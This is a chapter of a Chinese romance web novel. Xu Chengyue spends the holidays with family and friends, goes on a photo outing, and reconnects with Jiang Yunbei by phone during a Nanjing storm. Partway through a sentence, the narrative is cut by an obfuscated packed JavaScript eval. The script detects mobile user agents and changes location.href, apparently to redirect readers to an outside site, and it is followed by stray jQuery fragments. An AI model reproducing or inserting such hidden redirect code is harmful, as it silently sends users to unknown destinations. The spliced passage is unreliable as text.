79. 第 79 章

作品:《乘月

    2011年第一天,徐澄月锤床哀嚎,感觉天都要塌了。


    休假在家帮贺医生干活的徐爸,被那哀嚎声吓得一抖,“做噩梦了?”


    贺医生据声诊断,“声音洪亮,气息沉稳,不像做梦,去,喊她吃饭。”


    徐澄月丧着脸出来,解释那声哀嚎。她看中的那个木雕,一周前被买走了,她痛心疾首:“一周,我就差了一周!”


    徐爸给她舀粥,问她钱不够怎么不向他们要。


    徐澄月撇撇嘴,“这是我喜欢的东西嘛,想自己买。再说,我都成年了,哪能什么都管你们要钱。”


    徐爸放下碗,将钱包压在桌上,配合道:“那请问成年的徐澄月小姐,这个月的生活费还要吗?”


    徐澄月摆手,又失落叹气,“木雕买不了,我攒的钱没地方花了。”


    徐妈往她碗里丢个鸡蛋,“那就接着攒,总会遇到更喜欢的。还有啊,我们不支持铺张浪费,也不支持刻意吃苦,有需要就得找我们啊,当你爸妈摆设了?喜欢这东西,可遇不可求,真喜欢了就去追求嘛,咱家一下拿不出几十万,几千块还是可以的。”


    徐爸把整个钱包交给她,“你妈说得对!”


    “知道啦,下次遇见难事,就放话,‘等着,我找我爸妈来’!”


    徐妈:“那倒也不是,独立能力还是要有的。快吃饭,吃完陪我去菜市场。”


    一家三口齐上阵,把三分之一个菜市场搬回家。徐澄月以为是给她加餐,但徐妈回来就忙个不停,又是炸丸子又是做粿的。


    一问,才知道是给波士顿的江叔江姨寄的。


    徐妈往锅里挤丸子,徐爸负责翻油锅,“上次和你江姨打电话,她说想这口了,本来想做了给小北带走,谁知道这孩子走这么急,回来还不到两天呢,现在只能寄过去,阿爷和小菀姑姑准备了干货,我就做点丸子粿什么的。”


    徐澄月静静听着,搅锅里的馅料。


    徐爸顺嘴问:“澄澄,你有什么想给小北寄吗?”


    徐澄月说没什么,等徐爸要出门寄了,她才不紧不慢拿出两个小盒子。


    “是什么,易碎品吗?”


    徐爸手快打开,徐澄月没来得及阻止,盒子内两个神似江韫北的小人,叫她脸上一热。


    徐爸不解:“怎么千里迢迢给人寄木头呢。”


    徐妈看一眼沉默的女儿,催他出门。回屋边收拾边感慨,不知道他们过年回不回来,又问闺女知不知道小北的近况,怎么这一趟这么赶。


    徐澄月回想起Q|Q上他的留言,只说了一句要回来,但待不久,这是他们十二月来唯一的联系。她用力把垃圾袋打成死结,没好气道:“没有,江少爷忙着呢。”


    假期结束后要考试,徐澄月赶前一天飞机回去,奔波一路,第二天考场上打瞌睡,她在心里把江韫北骂了千百遍。


    噩梦一样的考试周过去,校园又恢复狂欢。


    徐澄月原本打算考完就回家,但在建筑比赛小组庆功宴上,记起和乔砚拍照的约定,延后了几天。


    为尽好模特的义务,徐澄月特地让黎映之大师好好帮她捯饬一下。黎映之搜罗出所有的护肤品化妆品,放话说要给她做个惊人妆造。


    陈卉敏在一旁边学边记,林爽过去捏一捏她下巴,调戏道:“咱月亮底子好,随便打扮,包震惊四座。”


    陈卉敏点头,她羡慕徐澄月不会长痘白里透红的皮肤。


    黎映之在给她刷睫毛,“先天优势加后头努力,保证乔师兄拜倒在你的石榴裙下。”


    陈卉敏和林爽长长“哦”一声。


    徐澄月打断她们的想象,“别瞎想,帮个忙而已。”


    黎映之细眉一挑,“但我觉得,乔师兄可不是这么想哦。”


    林爽赞同,“上次我去制图室,看见乔师兄在帮你改图,你在睡觉哦。”


    陈卉敏发现新大陆似的:“对对对!我也觉得乔师兄对我们月亮超关注。”


    徐澄月拨开黎映之的手,“不信谣,不传谣。”又加一句,“谣言止于智者啊。”


    林爽:“没关系,我们都是蠢蛋!”


    徐澄月无言以对,怕她们在乔砚面前瞎说,千叮咛万嘱咐,她们不信,她无奈地笑,只好坦言:“我也许,是有喜欢的人。”


    三颗脑袋齐齐杵到她面前。


    “谁谁谁!”


    “我们学校的吗!我们认识吗!”


    “为什么是也许?”


    徐澄月摇头,“都不是,也许,是因为我还要再想想。”


    黎映之:“痛心,乔师兄还没入局就出局了。”


    徐澄月摸摸她脑袋:“所以你们别瞎说啦。”


    收拾妥当,瞧着镜子里的人,没有被衣物遮掩的地方,每一处都精细装饰过,徐澄月总觉得精致得太不真实。


    下楼看见乔砚的反应,更加确信。


    乔砚连忙解释:“不是,是很漂亮,锦上添花。”


    不知是不是受她们神神叨叨的影响,徐澄月突然发觉,乔砚今天看她的眼神,好像是和平常不一样。暗叫不好,她连忙把话题拉回正轨,“最近熬夜多,灰头土脸来,到时说模特丑还好,连累你的名声,那是我的罪过了。”


    不给他回答机会,徐澄月顺势问起去哪拍。


    乔砚不想在室内拍,像拍艺术照似的,他找了几个地方,打算一面逛一面拍,征得她同意就出发了。


    大概意识到镜头的存在,徐澄月有些紧张,逛一会就去检查自己有什么不妥,再去瞟乔砚的相机。次数多了乔砚也察觉了,问她是不是有镜头焦虑症。


    徐澄月说没有。以前江韫北也爱拍她,她知道的,被他抓拍的,都很自然,仿佛相机是他们生活的一部分。或许是太久没被拍的缘故吧,乔砚的镜头,给她一种工具的感觉。


    乔砚收起相机,当作游玩似的,给她讲起景点的历史故事,再逛到热闹处,来往游客和新奇的手作街,她逛到兴致上,渐渐忘了拍照这回事,自顾玩起来,他才落后几步,拿出相机。


    等徐澄月逛得差不多,反应过来忘了什么,抱歉地去找乔砚。


    乔砚朝她晃晃相机,“拍照是摄影师的事,不是模特的事。”


    徐澄月放下心,“那模特没有拖后腿吧?”


    乔砚认真道:“按完成度来看,我得给你加钱。”


    徐澄月大笑,“加钱不用,当友情赠送。”


    “那我回个礼?”乔砚指着前边的那条街,“刚过来看见那里有家木雕店,去看看有没有喜欢的?”


    是家很小的店,夹在两个人满为患的大店面中间,极容易被忽略。里面的东西却有着和店大不相同的气质。徐澄月看中两个,乔砚先她一步付了款。她也没故意推拒,后面吃饭偷偷去结账,被乔砚发现,她笑嘻嘻地说:“有来有往嘛,哪有让师兄吃亏的道理。”


    乔砚故意板着脸:“没听秦教授说?师兄是干什么用的?帮师姐师妹吃亏的。”


    教授的名录之一,徐澄月忍俊不禁,“性质不一样,有些亏可吃不得。”


    乔砚走在她身旁,琢磨她这几句话,侧眸,瞧见她被霓虹灯牌照得五彩的侧脸,忽而摇头笑了笑。


    完成和乔砚的约定,徐澄月就回朝城了。


    刚到家,就接到梁嘉和杜可颐的电话,想组个同学聚会。她没异议,让他们通知时间地点。


    当天和岳清卓一道去,方之敛作为家属陪同,俞麒那会因他们三个和17班的人走得也近,也一块去了。


    脱离沉重的高中生涯后,大家都过得风生水起,面貌换新,也陆陆续续谈恋爱了,但对别人的恋爱,照旧八卦。


    当初那个以武力震慑他们三年,单纯又木讷到眼里只有学习和练拳两件事的人,居然被年纪第一撬走了!他们认为这个故事足以分几集几十个回合来讲,纷纷凑在岳清卓和方之敛身边。


    只有几个关系近的,知道他俩怎么回事,就看热闹外加煽风点火。


    杜可颐跟着盘问几句,把气氛推到高点后,退回徐澄月旁边,和她分享大学趣事,聊到最后,扫一圈包厢里的人,状似随意地问:“江韫北过年不回来吗?”


    徐澄月小口啜饮料,眼睛还盯着被围攻的两人看,笑眯眯的,“不知道,应该不回来吧。”


    元旦那两个木雕寄出去,也没有收到他的消息。


    杜可颐琢磨不透了,对江韫北出国的具体情况不太清楚,但以她的观察来看,江韫北不会这么久不和徐澄月联系见面,可事实好像和她猜测的不一样。


    偷偷去问梁嘉和,梁嘉和只说:“眼见不一定对,我听说,韫北家好像出事了,具体怎么样我不了解,你也别瞎琢磨,有情人嘛,一思二想三行动,迟早忍不住。”


    说得也不无道理,杜可颐打算安安心心当观众。


    散场时,杜可颐给他们每人分了张票,是一个小型话剧表演,她写的剧本。


    徐澄月替她开心,当时那个被现实绊住手脚,却豪言壮志“他们管不了我的笔”的人,在一步步实现她的梦想。她挽上杜可颐的手,说:“我一定去。”


    杜可颐感激地抱住她。


    梁嘉和帮她打广告,“都来看嗷都来看嗷,有吃有喝有看,绝对不白来。还有啊,鄙人不才,承蒙课代表不嫌弃,在其中演一个小配角,别错过啊,人生第一次演戏!”


    同学一个劲调侃。


    “不知道你报的表演专业啊。”


    “稀奇,看话剧还有吃有喝,别是班长自掏腰包吧。”


    “让班长演,课代表,我看你是忘了当年话剧比赛班长那段戏了!”


    “哈哈哈哈我记得,试戏那会,他是第一个被淘汰的,还是课代表淘的!”


    “一个个揭我底是吧!”


    一群人哄哄闹闹在路口分开。


    青春确实会散场,但人生那么长,总有返场时候嘛。


    几场同学闺蜜聚会下来,除夕也到了。


    今年云水村改了习俗,年初一也要游街。游街就得祭祖,几家人索性回去过年,准备祭祖事宜。


    除夕下午,都在阿爷家,排队让阿爷帮忙蒸粿。


    徐澄月带着烤鸽跟在他们屁股后头,也忙得哼哧哼哧。


    “澄澄,你去二楼拿个大蒸笼。”阿爷在厨房喊她。


    徐澄月应一声上楼。


    二楼尽头有个小房间,一直作为储物间,到那,要经过江韫北的房间。


    徐澄月鬼使神差停住脚步,几秒后,推开江韫北的房门。


    阿爷大扫除不久,空气中留有浅浅的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458828|134140||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    消毒水味。房间空空,只有简单的床铺,走一圈,能听到脚步的回声。角落里放着陈旧的机械称,一看到,她就想起当年,他扶腰捂屁股要她称重的事。


    想着想着笑出来,骂道:“江狗!”


    又环顾一圈,视线被衣橱上一个裹着宣纸的长条盒子吸引。心里有股奇妙的感觉在牵引,不由自主拿下那个盒子,拆开包装,她倒吸一口气。


    阿敛说,回来后,他只回了云水村。


    她看得出神,许久,恶狠狠骂一句:“江韫北,王八蛋。”


    她把东西包好,放回原处。转身看到俞麒,不知道刚刚那话有没有被他听去,讪笑一声,问他找什么。


    俞麒说:“拿蒸笼半天没下去,阿爷让我来看看。”


    “哦我现在去拿。”


    俞麒往衣橱上看一眼,关上门。


    *


    开学没多久,徐澄月被秦教授抓去参加一个项目,参与的人多是师兄师姐,还有他带的研究生。一众大神坐镇,她只认识乔砚。


    徐澄月有些打怵,她一个大二生,专业都没学明白,来端茶倒水吗?


    乔砚给她吃定心丸,“乔教授看中你做模型的手艺,昨天还在发飙说我们这么多人比不过小师妹。”


    “那是我做木雕练出来的。”


    “要的就是这个。”


    师命不敢违,徐澄月只好答应,取消原先的计划。


    秦教授有意锻炼她,分了一部分工作给她,涉及到还没学的知识,就让同门教她,虽然辛苦,但收获挺大,她卯足劲学,渐渐能独立完成一些任务。


    四月,进入梅雨季节。


    难得一个还算晴朗的周末,又不用去实验室,被吸了两个月精气的徐澄月,打算去吸吸阳气,报了名去定向越野。谁知刚到集合地点,天气骤变,下起瓢泼大雨。又接到师姐电话,她负责的一处地方出了问题。她冒着大雨赶回学校,几人按着图纸和测量数据,改了一天。


    教室隔音好,一行人又专注,准备离开了才知道外头的天气有多坏。门开了一条缝就被风雨推回来,雨水也灌进来,他们连忙合力将门堵上。


    几人拉开窗帘去看,墨黑的天空虎视眈眈地往下压,时有一束紫色闪电劈开,雷敲得整个天地都在震,风像发疯了,无差别地扫荡一切,雨是砸落下的,带着怒气,仿佛被人硬推下来。


    徐澄月第一次这么直观感受恶劣天气的威力。


    经历丰富的研究生师姐淡定开口:“上次囤在实验室的泡面还有吧?”


    “好像被老姚搜刮完了。”


    师姐冷冷地笑,“很好,让他现在补货。”


    倒也没真让人来送,都知道实验室的门易进难出,大家身上多少带点充饥的,几人将就分完一些食物,准备睡觉。


    徐澄月猛地想起没和宿舍几人报平安,她们只知道她去定向越野了。她趔趔趄趄地去翻手机,果然,屏幕上清一色未接来电。


    坏了。


    她连忙拨出电话,接通就听到黎映之林爽的鬼哭狼嚎和陈卉敏关切问候。她解释清楚来龙去脉,叫她们放心。又按着列表顺序给其他人回过去。


    在最前头的,是江韫北。38个未接来电,Q|Q上也有消息,他似乎知道南京的暴雨天气,所有信息都是在问她在哪,安不安全。徐澄月来不及想什么,先给他报了平安。


    接着是俞麒、岳清卓、何意霖、方之敛和俞麟。


    消息发完,手机立刻响起。


    徐澄月急急忙忙说:“俞麟,我没事,在实验室呢,干了一天活,没看手机,也不知道外面天气这样。”


    那端大声咆哮:“吓死我了你知道吗!所有人都联系不上你,还以为你出什么意外了,大暴雨啊,分分钟把人冲走的,怕徐叔徐姨担心,也不敢去问他们!”


    徐澄月一个劲道歉。


    俞麟平静下来,安抚她几句:“好了好了,没事就行。对了,你给我哥清卓阿敛他们回个电话啊,哦还有江狗,他先联系不上你的,急得啊,我估计这会应该在机场准备飞回来了,劝不动劝不动。”


    徐澄月一怔,结束通话的手机不断震动,是他们回复的消息。


    她来不及点开看,调出通讯录,拨通那个安静许久的号码。她走到实验室的角落里,听到自己心跳如雷,咚咚作响。


    很快,那道熟悉的声音响起,带着急切和庆幸,“徐澄月!”


    “我没事,”徐澄月按住自己的情绪,“在实验室,忙了一天,忘记看手机了。”


    “南京暴雨,联系不上你,我才问的他们,好像闹乌龙了。”他看到她回的消息了,有些懊恼。


    徐澄月也不拐弯抹角:“俞麟说,你差点要买机票飞回来。”


    那端很急促的一声呼吸,原来一些嘶嘶的杂音消失,他说:“没……”几秒停顿,他坦诚,“没来得及买。”


    徐澄月几乎相信,“嗯,省得退了。”


    长久的声音空白,但没人愿意挂。


    徐澄月掀开一角窗帘,把现在的天气状况描述给他听,沉声问:“真的没买票吗?”


    他没说话了。


    徐澄月在黑色的玻璃上看见从眼睛里跑出来的笑意,语气却像小时候和他吵架放狠话:“江韫北,你给我等着。”